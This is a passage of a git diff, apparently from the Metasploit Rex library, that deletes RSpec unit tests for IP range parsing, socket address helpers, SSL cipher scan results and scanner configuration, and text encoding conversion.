expected_keys.shuffle.each do |key| - rig.init_var(key) - end - expect(rig.to_h.size).to eq(expected_keys.size) - expect(rig.to_h.keys).to include(*expected_keys) - expect(rig.to_h.values.map {|v| v.class}.uniq).to eq([String]) - end - end - -end diff --git a/spec/lib/rex/socket/range_walker_spec.rb b/spec/lib/rex/socket/range_walker_spec.rb deleted file mode 100644 index f5e4ae8047..0000000000 --- a/spec/lib/rex/socket/range_walker_spec.rb +++ /dev/null @@ -1,191 +0,0 @@ -# -*- coding:binary -*- -require 'rex/socket/range_walker' - -RSpec.describe Rex::Socket::RangeWalker do - - let(:args) { "::1" } - subject(:walker) { described_class.new(args) } - - it { is_expected.to respond_to(:length) } - it { is_expected.to respond_to(:valid?) } - it { is_expected.to respond_to(:each) } - - describe '.new' do - - context "with a hostname" do - let(:args) { "localhost" } - it { is_expected.to be_valid } - it { expect(subject.length).to be >= 1 } - end - - context "with a hostname and CIDR" do - let(:args) { "localhost/24" } - it { is_expected.to be_valid } - it { expect(subject.length).to eq(256) } - end - - context "with an invalid hostname" do - let(:args) { "@!*^&.invalid-hostname-really." } - it { is_expected.not_to be_valid } - end - - context "with an invalid hostname and CIDR" do - let(:args) { "@!*^&.invalid-hostname-really./24" } - it { is_expected.not_to be_valid } - end - - context "with an IPv6 address range containing a scope" do - let(:args) { "fe80::1%lo-fe80::100%lo" } - it { is_expected.to be_valid } - end - - it "should handle single ipv6 addresses" do - walker = Rex::Socket::RangeWalker.new("::1") - expect(walker).to be_valid - expect(walker.length).to eq 1 - end - - it "should handle longform ranges" do - walker = Rex::Socket::RangeWalker.new("10.1.1.1-10.1.1.2") - expect(walker).to be_valid - expect(walker.length).to eq 2 - expect(walker.next).to eq "10.1.1.1" - end - - context "with mulitple ranges" do - let(:args) { "1.1.1.1-2 2.1-2.2.2 3.1-2.1-2.1 " } - it { is_expected.to be_valid } - it { expect(subject.length).to eq(8) } - it { is_expected.to include("1.1.1.1") } - end - - it "should handle ranges" do - walker = Rex::Socket::RangeWalker.new("10.1.1.1-2") - expect(walker).to be_valid - expect(walker.length).to eq 2 - expect(walker.next).to eq "10.1.1.1" - walker = Rex::Socket::RangeWalker.new("10.1-2.1.1-2") - expect(walker).to be_valid - expect(walker.length).to eq 4 - walker = Rex::Socket::RangeWalker.new("10.1-2.3-4.5-6") - expect(walker).to be_valid - expect(walker.length).to eq 8 - expect(walker).to include("10.1.3.5") - end - - it 'should reject CIDR ranges with missing octets' do - walker = Rex::Socket::RangeWalker.new('192.168/24') - expect(walker).not_to be_valid - end - - it 'should reject a CIDR range with too many octets' do - walker = Rex::Socket::RangeWalker.new('192.168.1.2.0/24') - expect(walker).not_to be_valid - end - - it "should default the lower bound of a range to 0" do - walker = Rex::Socket::RangeWalker.new("10.1.3.-17") - expect(walker).to be_valid - expect(walker.length).to eq 18 - walker = Rex::Socket::RangeWalker.new("10.1.3.-255") - expect(walker).to be_valid - expect(walker.length).to eq 256 - end - - it "should default the upper bound of a range to 255" do - walker = Rex::Socket::RangeWalker.new("10.1.3.254-") - expect(walker).to be_valid - expect(walker.length).to eq 2 - end - - it "should take * to mean 0-255" do - walker = Rex::Socket::RangeWalker.new("10.1.3.*") - expect(walker).to be_valid - expect(walker.length).to eq 256 - expect(walker.next).to eq "10.1.3.0" - expect(walker).to include("10.1.3.255") - walker = Rex::Socket::RangeWalker.new("10.1.*.3") - expect(walker).to be_valid - expect(walker.length).to eq 256 - expect(walker.next).to eq "10.1.0.3" - expect(walker).to include("10.1.255.3") - end - - it "should handle lists" do - walker = Rex::Socket::RangeWalker.new("10.1.1.1") - expect(walker).to be_valid - expect(walker.length).to eq 1 - walker = Rex::Socket::RangeWalker.new("10.1.1.1,3") - expect(walker).to be_valid - expect(walker.length).to eq 2 - expect(walker).not_to include("10.1.1.2") - end - - it "should produce the same ranges with * and 0-255" do - a = Rex::Socket::RangeWalker.new("10.1.3.*") - b = Rex::Socket::RangeWalker.new("10.1.3.0-255") - expect(a.ranges).to eq(b.ranges) - end - - it "should handle ranges and lists together" do - walker = Rex::Socket::RangeWalker.new("10.1.1.1-2,3") - expect(walker).to be_valid - expect(walker.length).to eq 3 - walker = Rex::Socket::RangeWalker.new("10.1-2.1.1,2") - expect(walker).to be_valid - expect(walker.length).to eq 4 - walker = Rex::Socket::RangeWalker.new("10.1,2.3,4.5,6") - expect(walker.length).to eq 8 - end - - it "should handle cidr" do - 31.downto 16 do |bits| - walker = Rex::Socket::RangeWalker.new("10.1.1.1/#{bits}") - expect(walker).to be_valid - expect(walker.length).to eq (2**(32-bits)) - end - end - end - - describe '#each' do - let(:args) { "10.1.1.1-2,2,3 10.2.2.2" } - - it "should yield all ips" do - got = [] - walker.each { |ip| - got.push ip - } - expect(got).to eq ["10.1.1.1", "10.1.1.2", "10.1.1.3", "10.2.2.2"] - end - - end - - describe '#include_range?' do - let(:args) { "10.1.1.*" } - - it "returns true for a sub-range" do - other = described_class.new("10.1.1.1-255") - expect(walker).to be_include_range(other) - end - - end - - describe '#next' do - let(:args) { "10.1.1.1-5" } - it "should return all addresses" do - all = [] - while ip = walker.next - all << ip - end - expect(all).to eq [ "10.1.1.1", "10.1.1.2", "10.1.1.3", "10.1.1.4", "10.1.1.5", ] - end - - it "should not raise if called again after empty" do - expect { - (walker.length + 5).times { walker.next } - }.not_to raise_error - end - - end - -end diff --git a/spec/lib/rex/socket_spec.rb b/spec/lib/rex/socket_spec.rb deleted file mode 100644 index b71d8bf2e6..0000000000 --- a/spec/lib/rex/socket_spec.rb +++ /dev/null @@ -1,198 +0,0 @@ -# -*- coding:binary -*- -require 'rex/socket/range_walker' -require 'spec_helper' - -RSpec.describe Rex::Socket do - - describe '.addr_itoa' do - - context 'with explicit v6' do - it "should convert a number to a human-readable IPv6 address" do - expect(described_class.addr_itoa(1, true)).to eq "::1" - end - end - - context 'with explicit v4' do - it "should convert a number to a human-readable IPv4 address" do - expect(described_class.addr_itoa(1, false)).to eq "0.0.0.1" - end - end - - context 'without explicit version' do - it "should convert a number within the range of possible v4 addresses to a human-readable IPv4 address" do - expect(described_class.addr_itoa(0)).to eq "0.0.0.0" - expect(described_class.addr_itoa(1)).to eq "0.0.0.1" - expect(described_class.addr_itoa(0xffff_ffff)).to eq "255.255.255.255" - end - it "should convert a number larger than possible v4 addresses to a human-readable IPv6 address" do - expect(described_class.addr_itoa(0xfe80_0000_0000_0000_0000_0000_0000_0001)).to eq "fe80::1" - expect(described_class.addr_itoa(0x1_0000_0001)).to eq "::1:0:1" - end - end - - end - - describe '.addr_aton' do - subject(:nbo) do - described_class.addr_aton(try) - end - - context 'with ipv6' do - let(:try) { "fe80::1" } - it { is_expected.to be_an(String) } - it { expect(subject.bytes.count).to eq(16) } - it "should be in the right order" do - expect(nbo).to eq "\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" - end - end - - context 'with ipv4' do - let(:try) { "127.0.0.1" } - it { is_expected.to be_an(String) } - it { expect(subject.bytes.count).to eq(4) } - it "should be in the right order" do - expect(nbo).to eq "\x7f\x00\x00\x01" - end - end - - context 'with a hostname' do - let(:try) { "localhost" } - it "should resolve" do - expect(nbo).to be_a(String) - expect(nbo.encoding).to eq Encoding.find('binary') - expect([ 4, 16 ]).to include(nbo.length) - end - end - - end - - describe '.compress_address' do - - subject(:compressed) do - described_class.compress_address(try) - end - - context 'with lots of single 0s' do - let(:try) { "fe80:0:0:0:0:0:0:1" } - it { is_expected.to eq "fe80::1" } - end - - end - - describe '.getaddress' do - - subject { described_class.getaddress('whatever') } - - before(:example) do - expect(Socket).to receive(:gethostbyname).and_return(['name', ['aliases'], response_afamily, *response_addresses]) - end - - context 'when ::Socket.gethostbyname returns IPv4 responses' do - let(:response_afamily) { Socket::AF_INET } - let(:response_addresses) { ["\x01\x01\x01\x01", "\x02\x02\x02\x02"] } - - it { is_expected.to be_a(String) } - it "should return the first ASCII address" do - expect(subject).to eq "1.1.1.1" - end - end - - context 'when ::Socket.gethostbyname returns IPv6 responses' do - let(:response_afamily) { Socket::AF_INET6 } - let(:response_addresses) { ["\xfe\x80"+("\x00"*13)+"\x01", "\xfe\x80"+("\x00"*13)+"\x02"] } - - it { is_expected.to be_a(String) } - it "should return the first ASCII address" do - expect(subject).to eq "fe80::1" - end - end - - context "with rubinius' bug returning ASCII addresses" do - let(:response_afamily) { Socket::AF_INET } - let(:response_addresses) { ["1.1.1.1", "2.2.2.2"] } - - it { is_expected.to be_a(String) } - it "should return the first ASCII address" do - expect(subject).to eq "1.1.1.1" - end - - end - end - - describe '.getaddresses' do - - subject { described_class.getaddresses('whatever') } - - before(:example) do - expect(Socket).to receive(:gethostbyname).and_return(['name', ['aliases'], response_afamily, *response_addresses]) - end - - context 'when ::Socket.gethostbyname returns IPv4 responses' do - let(:response_afamily) { Socket::AF_INET } - let(:response_addresses) { ["\x01\x01\x01\x01", "\x02\x02\x02\x02"] } - - it { is_expected.to be_an(Array) } - it { expect(subject.size).to eq(2) } - it "should return the ASCII addresses" do - expect(subject).to include("1.1.1.1") - expect(subject).to include("2.2.2.2") - end - end - - context 'when ::Socket.gethostbyname returns IPv6 responses' do - let(:response_afamily) { Socket::AF_INET6 } - let(:response_addresses) { ["\xfe\x80"+("\x00"*13)+"\x01", "\xfe\x80"+("\x00"*13)+"\x02"] } - - it { is_expected.to be_an(Array) } - it { expect(subject.size).to eq(2) } - it "should return the ASCII addresses" do - expect(subject).to include("fe80::1") - expect(subject).to include("fe80::2") - end - end - - context "with rubinius' bug returning ASCII addresses" do - let(:response_afamily) { Socket::AF_INET } - let(:response_addresses) { ["1.1.1.1", "2.2.2.2"] } - - it { is_expected.to be_an(Array) } - it { expect(subject.size).to eq(2) } - it "should return the ASCII addresses" do - expect(subject).to include("1.1.1.1") - expect(subject).to include("2.2.2.2") - end - - end - end - - describe '.portspec_to_portlist' do - - subject(:portlist) { described_class.portspec_to_portlist portspec_string} - let(:portspec_string) { '-1,0-10,!2-5,!7,65530-,65536' } - - it 'does not include negative numbers' do - expect(portlist).to_not include '-1' - end - - it 'does not include 0' do - expect(portlist).to_not include '0' - end - - it 'does not include negated numbers' do - ['2', '3', '4', '5', '7'].each do |port| - expect(portlist).to_not include port - end - end - - it 'does not include any numbers above 65535' do - expect(portlist).to_not include '65536' - end - - it 'expands open ended ranges' do - (65530..65535).each do |port| - expect(portlist).to include port - end - end - end - -end diff --git a/spec/lib/rex/sslscan/result_spec.rb b/spec/lib/rex/sslscan/result_spec.rb deleted file mode 100644 index beaaa60848..0000000000 --- a/spec/lib/rex/sslscan/result_spec.rb +++ /dev/null @@ -1,527 +0,0 @@ -# -*- coding:binary -*- -require 'rex/sslscan/result' - -RSpec.describe Rex::SSLScan::Result do - - subject{Rex::SSLScan::Result.new} - - it { is_expected.to respond_to :accepted } - it { is_expected.to respond_to :cert } - it { is_expected.to respond_to :ciphers } - it { is_expected.to respond_to :rejected } - it { is_expected.to respond_to :sslv2 } - it { is_expected.to respond_to :sslv3 } - it { is_expected.to respond_to :standards_compliant? } - it { is_expected.to respond_to :strong_ciphers } - it { is_expected.to respond_to :supports_ssl? } - it { is_expected.to respond_to :supports_sslv2? } - it { is_expected.to respond_to :supports_sslv3? } - it { is_expected.to respond_to :supports_tlsv1? } - it { is_expected.to respond_to :supports_weak_ciphers? } - it { is_expected.to respond_to :tlsv1 } - it { is_expected.to respond_to :weak_ciphers } - - context "with no values set" do - it "should return nil for the cert" do - expect(subject.cert).to eq nil - end - - it "should return an empty set for ciphers" do - expect(subject.ciphers).to be_empty - end - - it "should return an empty array for accepted" do - expect(subject.accepted).to eq [] - end - - it "should return an empty array for rejected" do - expect(subject.rejected).to eq [] - end - - it "should return an empty array for #sslv2" do - expect(subject.sslv2).to eq [] - end - - it "should return an empty array for #sslv3" do - expect(subject.sslv3).to eq [] - end - - it "should return an empty array for #tlsv1" do - expect(subject.tlsv1).to eq [] - end - - it "should return an empty array for #weak_ciphers" do - expect(subject.weak_ciphers).to eq [] - end - - it "should return an empty array for #strong_ciphers" do - expect(subject.strong_ciphers).to eq [] - end - - it "should return false for #supports_ssl?" do - expect(subject.supports_ssl?).to eq false - end - - it "should return false for #supports_ssl?v2" do - expect(subject.supports_sslv2?).to eq false - end - - it "should return false for #supports_sslv3?" do - expect(subject.supports_sslv3?).to eq false - end - - it "should return false for #supports_tlsv1?" do - expect(subject.supports_tlsv1?).to eq false - end - - it "should return false for #supports_weak_ciphers?" do - expect(subject.supports_weak_ciphers?).to eq false - end - - it "should return true for #standards_compliant?" do - expect(subject.standards_compliant?).to eq true - end - end - - context "setting the cert" do - it "should accept nil" do - subject.cert = nil - expect(subject.cert).to eq nil - end - - it "should accept an X509 cert" do - cert = OpenSSL::X509::Certificate.new - subject.cert = cert - expect(subject.cert).to eq cert - end - - it "should raise an exception for anything else" do - expect{subject.cert = "foo"}.to raise_error(ArgumentError) - end - end - - context "adding a cipher result" do - context "should raise an exception if" do - it "given an invalid SSL version" do - expect{subject.add_cipher(:ssl3, 'AES256-SHA', 256, :accepted )}.to raise_error(ArgumentError) - end - - it "given SSL version as a string" do - expect{subject.add_cipher('sslv3', 'AES256-SHA', 256, :accepted )}.to raise_error(ArgumentError) - end - - it "given an invalid SSL cipher" do - expect{subject.add_cipher(:SSLv3, 'FOO256-SHA', 256, :accepted )}.to raise_error(ArgumentError) - end - - it "given an unsupported cipher for the version" do - expect{subject.add_cipher(:SSLv3, 'DES-CBC3-MD5', 256, :accepted )}.to raise_error(ArgumentError) - end - - it "given a non-number for key length" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', "256", :accepted )}.to raise_error(ArgumentError) - end - - it "given a decimal key length" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 25.6, :accepted )}.to raise_error(ArgumentError) - end - - it "given an invalid status" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, :good )}.to raise_error(ArgumentError) - end - - it "given status as a string" do - expect{subject.add_cipher(:SSLv3, 'AES256-SHA', 256, "accepted" )}.to raise_error(ArgumentError) - end - end - context "that was accepted" do - it "should add an SSLv2 cipher result to the SSLv2 Accepted array or generate an SSLv2 exception" do - begin - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - expect(subject.accepted(:SSLv2)).to include({ - :version => :SSLv2, - :cipher=>"DES-CBC3-MD5", - :key_length=>168, - :weak=> false, - :status => :accepted}) - rescue ArgumentError => e - expect(e.message).to eq "unknown SSL method `SSLv2'." - end - end - - it "should add an SSLv3 cipher result to the SSLv3 Accepted array" do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - expect(subject.accepted(:SSLv3)).to include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :accepted}) - end - - it "should add an TLSv1 cipher result to the TLSv1 Accepted array" do - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - expect(subject.accepted(:TLSv1)).to include({ - :version => :TLSv1, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :accepted}) - end - - it "should successfully add multiple entries in a row" do - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - expect(subject.accepted(:SSLv3)).to include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :accepted}) - expect(subject.accepted(:SSLv3)).to include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :accepted}) - end - - it "should not add duplicate entries" do - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - expect(subject.accepted(:SSLv3).count).to eq 1 - end - end - context "that was rejected" do - it "should add an SSLv2 cipher result to the SSLv2 Rejected array or generate an SSLv2 exception" do - begin - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :rejected) - expect(subject.rejected(:SSLv2)).to include({ - :version => :SSLv2, - :cipher=>"DES-CBC3-MD5", - :key_length=>168, - :weak=> false, - :status => :rejected}) - rescue ArgumentError => e - expect(e.message).to eq "unknown SSL method `SSLv2'." - end - end - - it "should add an SSLv3 cipher result to the SSLv3 Rejected array" do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - expect(subject.rejected(:SSLv3)).to include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :rejected}) - end - - it "should add an TLSv1 cipher result to the TLSv1 Rejected array" do - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) - expect(subject.rejected(:TLSv1)).to include({ - :version => :TLSv1, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :rejected}) - end - - it "should successfully add multiple entries in a row" do - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - expect(subject.rejected(:SSLv3)).to include({ - :version => :SSLv3, - :cipher=>"AES256-SHA", - :key_length=>256, - :weak=> false, - :status => :rejected}) - expect(subject.rejected(:SSLv3)).to include({ - :version => :SSLv3, - :cipher=>"AES128-SHA", - :key_length=>128, - :weak=> false, - :status => :rejected}) - end - - it "should not add duplicate entries" do - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - expect(subject.rejected(:SSLv3).count).to eq 1 - end - end - end - - context "enumerating all accepted ciphers" do - before(:example) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - end - - context "with no version selected" do - it "should return an array of cipher detail hashes" do - subject.each_accepted do |cipher_details| - expect(cipher_details).to include(:version, :cipher, :key_length, :status, :weak) - end - end - - it "should return all of the accepted cipher details" do - count = 0 - subject.each_accepted do |cipher_details| - count = count+1 - end - expect(count).to eq 3 - end - end - - context "when specifying one SSL version" do - it "should raise an exception if not given a symbol" do - expect{ subject.each_accepted('sslv2')}.to raise_error(ArgumentError) - end - - it "should raise an exception if given an invalid SSL version" do - expect{ subject.each_accepted(:TLSv3)}.to raise_error(ArgumentError) - end - - it "should return only ciphers matching the version" do - subject.each_accepted(:SSLv3) do |cipher_details| - expect(cipher_details[:version]).to eq :SSLv3 - end - end - end - - context "when specifying multiple SSL Versions in an array" do - it "should return all versions if no valid versions were supplied" do - count = 0 - subject.each_accepted([:TLSv3, :TLSv4]) do |cipher_details| - count = count+1 - end - expect(count).to eq 3 - end - - it "should return only the ciphers for the specified version" do - subject.each_accepted([:SSLv3,:TLSv1]) do |cipher_details| - expect(cipher_details[:version]).not_to eq :SSLv2 - end - end - end - end - - context "enumerating all rejected ciphers" do - before(:example) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :rejected) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :rejected) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :rejected) - end - - context "with no version selected" do - it "should return an array of cipher detail hashes" do - subject.each_rejected do |cipher_details| - expect(cipher_details).to include(:version, :cipher, :key_length, :status, :weak) - end - end - - it "should return all of the rejected cipher details" do - count = 0 - subject.each_rejected do |cipher_details| - count = count+1 - end - expect(count).to eq 3 - end - end - - context "when specifying one SSL version" do - it "should raise an exception if not given a symbol" do - expect{ subject.each_rejected('sslv2')}.to raise_error(ArgumentError) - end - - it "should raise an exception if given an invalid SSL version" do - expect{ subject.each_rejected(:TLSv3)}.to raise_error(ArgumentError) - end - - it "should return only ciphers matching the version" do - subject.each_rejected(:SSLv3) do |cipher_details| - expect(cipher_details[:version]).to eq :SSLv3 - end - end - end - - context "when specifying multiple SSL Versions in an array" do - it "should return all versions if no valid versions were supplied" do - count = 0 - subject.each_rejected([:TLSv3, :TLSv4]) do |cipher_details| - count = count+1 - end - expect(count).to eq 3 - end - - it "should return only the ciphers for the specified version" do - subject.each_rejected([:SSLv3,:TLSv1]) do |cipher_details| - expect(cipher_details[:version]).not_to eq :SSLv2 - end - end - end - end - - context "checking SSL support" do - context "for SSLv2" do - it "should return false if there are no accepted ciphers" do - expect(subject.supports_sslv2?).to eq false - end - it "should return true if there are accepted ciphers or raise an SSLv2 exception" do - begin - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - expect(subject.supports_sslv2?).to eq true - rescue ArgumentError => e - expect(e.message).to eq "unknown SSL method `SSLv2'." - end - end - end - context "for SSLv3" do - it "should return false if there are no accepted ciphers" do - expect(subject.supports_sslv3?).to eq false - end - it "should return true if there are accepted ciphers" do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - expect(subject.supports_sslv3?).to eq true - end - end - context "for TLSv1" do - it "should return false if there are no accepted ciphers" do - expect(subject.supports_tlsv1?).to eq false - end - it "should return true if there are accepted ciphers" do - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - expect(subject.supports_tlsv1?).to eq true - end - end - context "for SSL at large" do - it "should return false if there are no accepted ciphers" do - expect(subject.supports_ssl?).to eq false - end - it "should return true if there are accepted ciphers" do - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - expect(subject.supports_ssl?).to eq true - end - end - end - - context "checking for weak ciphers" do - context "when weak ciphers are supported" do - before(:example) do - subject.add_cipher(:SSLv3, "EXP-RC4-MD5", 40, :accepted) - subject.add_cipher(:SSLv3, "DES-CBC-SHA", 56, :accepted) - end - it "should return an array of weak ciphers from #weak_ciphers" do - weak = subject.weak_ciphers - expect(weak.class).to eq Array - weak.each do |cipher| - expect(cipher[:weak]).to eq true - end - expect(weak.count).to eq 2 - end - - it "should return true from #supports_weak_ciphers" do - expect(subject.supports_weak_ciphers?).to eq true - end - end - - context "when no weak ciphers are supported" do - before(:example) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - end - it "should return an empty array from #weak_ciphers" do - expect(subject.weak_ciphers).to eq [] - end - - it "should return false from #supports_weak_ciphers" do - expect(subject.supports_weak_ciphers?).to eq false - end - end - end - - context "checking for standards compliance" do - it "should return true if there is no SSL support" do - expect(subject.standards_compliant?).to eq true - end - - it "should return false if SSLv2 is supported or raise an SSLv2 exception" do - begin - subject.add_cipher(:SSLv2, "DES-CBC3-MD5", 168, :accepted) - expect(subject.standards_compliant?).to eq false - rescue ArgumentError => e - expect(e.message).to eq "unknown SSL method `SSLv2'." - end - end - - it "should return false if weak ciphers are supported" do - subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) - expect(subject.standards_compliant?).to eq false - end - - it "should return true if SSLv2 and Weak Ciphers are disabled" do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - expect(subject.standards_compliant?).to eq true - end - end - - context "when printing the results" do - context "when OpenSSL is compiled without SSLv2" do - before(:example) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.openssl_sslv2 = false - end - it "should warn the user" do - expect(subject.to_s).to include "*** WARNING: Your OS hates freedom! Your OpenSSL libs are compiled without SSLv2 support!" - end - end - - context "when we have SSL results" do - before(:example) do - subject.add_cipher(:SSLv3, "AES256-SHA", 256, :accepted) - subject.add_cipher(:TLSv1, "AES256-SHA", 256, :accepted) - subject.add_cipher(:SSLv3, "AES128-SHA", 128, :accepted) - subject.add_cipher(:SSLv3, "EXP-RC2-CBC-MD5", 40, :accepted) - - cert = OpenSSL::X509::Certificate.new - key = OpenSSL::PKey::RSA.new 2048 - cert.version = 2 # - cert.serial = 1 - cert.subject = OpenSSL::X509::Name.parse "/DC=org/DC=ruby-lang/CN=Ruby CA" - cert.issuer = cert.subject - cert.public_key = key.public_key - cert.not_before = Time.now - cert.not_after = cert.not_before + 2 * 365 * 24 * 60 * 60 # 2 - - subject.cert = cert - end - - it "should contain the certificate" do - expect(subject.to_s).to include "Issuer: DC=org, DC=ruby-lang, CN=Ruby CA" - expect(subject.to_s).to include "Subject: DC=org, DC=ruby-lang, CN=Ruby CA" - end - - it "should have a table with our SSL Cipher Results" do - expect(subject.to_s).to include "Accepted * SSLv3 40 EXP-RC2-CBC-MD5" - expect(subject.to_s).to include "Accepted SSLv3 128 AES128-SHA" - expect(subject.to_s).to include "Accepted SSLv3 256 AES256-SHA" - expect(subject.to_s).to include "Accepted TLSv1 256 AES256-SHA" - end - end - - it "should return an appropriate message when SSL is not supported" do - expect(subject).to receive(:supports_ssl?).and_return(false) - expect(subject.to_s).to eq "Server does not appear to support SSL on this port!" - end - - - end - -end diff --git a/spec/lib/rex/sslscan/scanner_spec.rb b/spec/lib/rex/sslscan/scanner_spec.rb deleted file mode 100644 index 3724aa1a1e..0000000000 --- a/spec/lib/rex/sslscan/scanner_spec.rb +++ /dev/null @@ -1,107 +0,0 @@ -# -*- coding:binary -*- -require 'rex/sslscan/scanner' -require 'rex/thread_factory' -require 'rex/text' -require 'rex/compat' - -RSpec.describe Rex::SSLScan::Scanner do - - subject{Rex::SSLScan::Scanner.new("google.com", 443)} - - it { is_expected.to respond_to :host } - it { is_expected.to respond_to :port } - it { is_expected.to respond_to :timeout } - it { is_expected.to respond_to :valid? } - - context "when validating the scanner config" do - it "should return true when given a valid config" do - expect(subject.valid?).to eq true - end - - it "should return false if given an invalid host" do - subject.host = nil - expect(subject.valid?).to eq false - end - - it "should return false if given an invalid port" do - subject.port = nil - expect(subject.valid?).to eq false - end - - it "should return false if given an invalid timeout" do - subject.timeout = nil - expect(subject.valid?).to eq false - end - end - - context "when testing a single cipher" do - context "an exception should be raised if" do - it "has an invalid scanner configuration" do - subject.host =nil - expect{ subject.test_cipher(:SSLv2, "AES128-SHA")}.to raise_error(StandardError) - end - - it "is given an invalid SSL version" do - expect{ subject.test_cipher(:SSLv5, "AES128-SHA")}.to raise_error(StandardError) - end - - it "is given an invalid cipher" do - expect{ subject.test_cipher(:SSLv2, "FOO128-SHA")}.to raise_error(StandardError) - end - - it "is given an invalid cipher for the SSL Version" do - expect{ subject.test_cipher(:SSLv3, 'DES-CBC3-MD5')}.to raise_error(StandardError) - end - end - - context ":rejected should be returned if" do - it "scans a server that doesn't support the supplied SSL version" do - expect(subject.test_cipher(:SSLv3, "DES-CBC-SHA")).to eq :rejected - end - - it "scans a server that doesn't support the cipher" do - expect(subject.test_cipher(:SSLv3, "DHE-DSS-AES256-SHA")).to eq :rejected - end - end - - context ":accepted should be returned if" do - it "scans a server that accepts the given cipher" do - expect(subject.test_cipher(:SSLv3, "AES256-SHA")).to eq :accepted - end - end - end - - context "when retrieving the cert" do - it "should return nil if it can't connect" do - expect(subject.get_cert(:SSLv3, "DES-CBC-SHA")).to eq nil - end - - it "should return an X509 cert if it can connect" do - expect(subject.get_cert(:SSLv3, "AES256-SHA")).to be_a OpenSSL::X509::Certificate - end - end - - context "when scanning https://google.com" do - it "should return a Result object" do - result = subject.scan - expect(result).to be_a Rex::SSLScan::Result - end - - context "if SSLv2 is not available locally" do - before(:example) do - expect(subject).to receive(:check_opensslv2).and_return(false) - subject.send(:initialize, 'google.com', 443) - end - it "should mark SSLv2 as unsupported" do - expect(subject.supported_versions).not_to include :SSLv2 - expect(subject.sslv2).to eq false - end - - it "should not test any SSLv2 ciphers" do - res = subject.scan - expect(res.sslv2).to eq [] - end - end - end - -end diff --git a/spec/lib/rex/text_spec.rb b/spec/lib/rex/text_spec.rb deleted file mode 100644 index 66eb6214c5..0000000000 --- a/spec/lib/rex/text_spec.rb +++ /dev/null @@ -1,229 +0,0 @@ -# -*- coding: binary -*- -require 'rex/text' - -RSpec.describe Rex::Text do - context "Class methods" do - - context ".to_ebcdic" do - it "should convert ASCII to EBCDIC (both US standards)" do - expect(described_class.to_ebcdic("Hello, World!")).to eq("\xc8\x85\x93\x93\x96\x6b\x40\xe6\x96\x99\x93\x84\x5a") - end - it "should raise on non-convertable characters" do - expect(lambda {described_class.to_ebcdic("\xff\xfe")}).to raise_exception(described_class::IllegalSequence) - end - end - - context ".from_ebcdic" do - it "should convert EBCDIC to ASCII (both US standards)" do - expect(described_class.from_ebcdic("\xc8\x85\x93\x93\x96\x6b\x40\xe6\x96\x99\x93\x84\x5a")).to eq("Hello, World!") - end - it "should raise on non-convertable characters" do - expect(lambda {described_class.from_ebcdic("\xff\xfe")}).to raise_exception(described_class::IllegalSequence) - end - end - - context ".to_ibm1047" do - it "should convert ASCII to mainfram EBCDIC (cp1047)" do - expect( - described_class.to_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]) - ).to eq("_\xAD\xBDM]\xC0\xD0lZ[{\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xF0\x81\x82\x83\x84\x85}\x7Fy\xA1") - end - end - - context ".from_1047" do - it "should convert mainframe EBCDIC (cp1047) to ASCII (ISO-8859-1)" do - expect( - described_class.from_ibm1047(%q[^[](){}%!$#1234567890abcde'"`~]) - ).to eq(";$)\x88\x89#'\x85\x81\x84\x83\x91\x16\x93\x94\x95\x96\x04\x98\x99\x90/\xC2\xC4\xC0\xC1\e\x82-=") - end - end - - context ".to_utf8" do - it "should convert a string to UTF-8, skipping badchars" do - expect(described_class.to_utf8("Hello, world!")).to eq("Hello, world!") - expect(described_class.to_utf8("Oh no, \xff\xfe can't convert!")).to eq("Oh no, can't convert!") - end - end 